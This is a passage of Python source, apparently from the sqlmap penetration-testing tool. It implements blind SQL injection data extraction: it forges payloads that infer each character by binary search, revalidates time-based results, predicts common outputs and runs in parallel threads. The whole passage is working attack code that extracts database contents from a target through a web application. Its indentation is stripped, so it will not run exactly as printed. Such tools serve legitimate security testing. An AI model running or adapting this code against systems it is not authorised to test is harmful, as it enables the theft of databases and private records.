dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
hintlock = threading.Lock()
def tryHint(idx):
with hintlock:
hintValue = kb.hintValue
if hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS,
DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx - 1]
else:
posValue = ord(hintValue[idx - 1])
forgedPayload = safeStringFormat(
payload.replace(INFERENCE_GREATER_CHAR,
INFERENCE_EQUALS_CHAR),
(expressionUnescaped, idx, posValue))
result = Request.queryPage(forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
if result:
return hintValue[idx - 1]
with hintlock:
kb.hintValue = None
return None
def validateChar(idx, value):
"""
Used in time-based inference (in case that original and retrieved
value are not equal there will be a deliberate delay).
"""
forgedPayload = safeStringFormat(
payload.replace(INFERENCE_GREATER_CHAR,
INFERENCE_NOT_EQUALS_CHAR),
(expressionUnescaped, idx, value))
result = Request.queryPage(forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
return not result
def getChar(idx,
charTbl=None,
continuousOrder=True,
expand=charsetType is None,
shiftTable=None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
result = tryHint(idx)
if result:
return result
if charTbl is None:
charTbl = list(asciiTbl)
originalTbl = list(charTbl)
if continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [5, 4]
if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
charTbl.remove(ord('\n'))
if not charTbl:
return None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(
payload.replace(INFERENCE_GREATER_CHAR,
INFERENCE_EQUALS_CHAR),
(expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
while len(charTbl) != 1:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
if CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(
payload, (expressionUnescaped, idx, posValue))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.unescape(
"'%s'" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(
payload, (expressionUnescaped, idx)).replace(
markingValue, unescapedCharValue)
result = Request.queryPage(forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
if result:
minValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if continuousOrder:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,128*16-1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(
maxChar + 1,
(maxChar + 1) << shiftTable.pop())
originalTbl = list(charTbl)
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (
retVal == ord('\n')
and CHAR_INFERENCE_MARK in payload):
if timeBasedCompare and not validateChar(
idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
kb.timeValidCharsRun = 0
if (conf.timeSec - kb.originalTimeDelay
) < MAX_TIME_REVALIDATION_STEPS:
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
conf.timeSec += 1
warnMsg = "increasing time delay to %d second%s " % (
conf.timeSec,
's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay:
dbgMsg = "turning off time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = False
return getChar(idx, originalTbl,
continuousOrder, expand,
shiftTable)
else:
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(
retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
kb.timeValidCharsRun += 1
if not kb.adjustTimeDelay and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
dbgMsg = "turning back on time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = True
return decodeIntToUnicode(retVal)
else:
return None
else:
if minValue == maxChar or maxValue == minChar:
return None
# If we are working with non-continuous elements, set
# both minValue and character afterwards are possible
# candidates
for retVal in (
originalTbl[originalTbl.index(minValue)],
originalTbl[originalTbl.index(minValue) + 1]):
forgedPayload = safeStringFormat(
payload.replace(INFERENCE_GREATER_CHAR,
INFERENCE_EQUALS_CHAR),
(expressionUnescaped, idx, retVal))
result = Request.queryPage(
forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(retVal)
return None
def etaProgressUpdate(charTime, index):
if len(progressTime) <= ((length * 3) / 100):
eta = 0
else:
midTime = sum(progressTime) / len(progressTime)
midTimeWithLatest = (midTime + charTime) / 2
eta = midTimeWithLatest * (length - index) / conf.threads
progressTime.append(charTime)
progress.update(index)
progress.draw(eta)
# Go multi-threading (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
threadData = getCurrentThreadData()
threadData.shared.value = [None] * length
threadData.shared.index = [
firstChar
] # As list for python nested function scoping
threadData.shared.start = firstChar
try:
def blindThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.index.acquire()
if threadData.shared.index[0] >= length:
kb.locks.index.release()
return
threadData.shared.index[0] += 1
curidx = threadData.shared.index[0]
kb.locks.index.release()
if kb.threadContinue:
charStart = time.time()
val = getChar(curidx)
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
with kb.locks.value:
threadData.shared.value[curidx - 1] = val
currentValue = list(threadData.shared.value)
if kb.threadContinue:
if showEta:
etaProgressUpdate(time.time() - charStart,
threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = threadData.shared.start
for i in xrange(startCharIndex,
endCharIndex + 1):
output += '_' if currentValue[
i] is None else currentValue[i]
for i in xrange(length):
count += 1 if currentValue[
i] is not None else 0
if startCharIndex > 0:
output = '..' + output[2:]
if (endCharIndex - startCharIndex
== conf.progressWidth) and (
endCharIndex < length - 1):
output = output[:-2] + '..'
if conf.verbose in (1, 2) and not showEta:
output += '_' * (
min(length, conf.progressWidth) -
len(output))
status = ' %d/%d (%d%s)' % (
count, length,
round(100.0 * count / length), '%')
output += status if count != length else " " * len(
status)
dataToStdout(
"\r[%s] [INFO] retrieved: %s" %
(time.strftime("%X"),
filterControlChars(output)))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
abortedFlag = True
finally:
value = map(
lambda _: partialValue[_]
if _ < len(partialValue) else threadData.shared.value[_],
xrange(length))
infoMsg = None
# If we have got one single character not correctly fetched it
# can mean that the connection to the target url was lost
if None in value:
partialValue = "".join(value[:value.index(None)])
if partialValue:
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (
time.strftime("%X"), filterControlChars(partialValue))
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (
time.strftime("%X"), filterControlChars(finalValue))
if conf.verbose in (1, 2) and not showEta and infoMsg:
dataToStdout(infoMsg)
# No multi-threading (--threads = 1)
else:
index = firstChar
while True:
index += 1
charStart = time.time()
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(
partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(
partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
testValue = unescaper.unescape(
"'%s'" % commonValue
) if "'" not in commonValue else unescaper.unescape(
"%s" % commonValue, quote=False)
query = agent.prefixQuery(
safeStringFormat("AND (%s) = %s",
(expressionUnescaped, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(
agent.payload(newValue=query),
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
if showEta:
etaProgressUpdate(time.time() - charStart,
len(commonValue))
elif conf.verbose in (1, 2):
dataToStdout(
filterControlChars(commonValue[index -
1:]))
finalValue = commonValue
break
# If there is a common pattern starting with partialValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms(
)].substring.query % (expressionUnescaped, 1,
len(commonPattern))
testValue = unescaper.unescape(
"'%s'" % commonPattern
) if "'" not in commonPattern else unescaper.unescape(
"%s" % commonPattern, quote=False)
query = agent.prefixQuery(
safeStringFormat("AND (%s) = %s",
(subquery, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(
agent.payload(newValue=query),
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
val = commonPattern[index - 1:]
index += len(val) - 1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset,
otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl)
if val is None or (lastChar > 0 and index > lastChar):
finalValue = partialValue
break
if kb.data.processChar:
val = kb.data.processChar(val)
partialValue += val
if showEta:
etaProgressUpdate(time.time() - charStart, index)
elif conf.verbose in (1, 2):
dataToStdout(filterControlChars(val))
if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[
-INFERENCE_BLANK_BREAK:].isspace():
finalValue = partialValue
break
except KeyboardInterrupt:
abortedFlag = True
finally:
kb.prependFlag = False
kb.stickyLevel = None
if finalValue is not None:
finalValue = decodeHexValue(
finalValue) if conf.hexConvert else finalValue
hashDBWrite(expression, finalValue)
elif partialValue:
hashDBWrite(expression,
"%s%s" % (PARTIAL_VALUE_MARKER, partialValue))
if conf.verbose in (1, 2) or showEta:
dataToStdout("\n")
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
logger.info(infoMsg)
if kb.threadException:
raise sqlmapThreadException, "something unexpected happened inside the threads"
if abortedFlag:
raise KeyboardInterrupt
_ = finalValue or partialValue
return getCounter(
kb.technique), safecharencode(_) if kb.safeCharEncode else _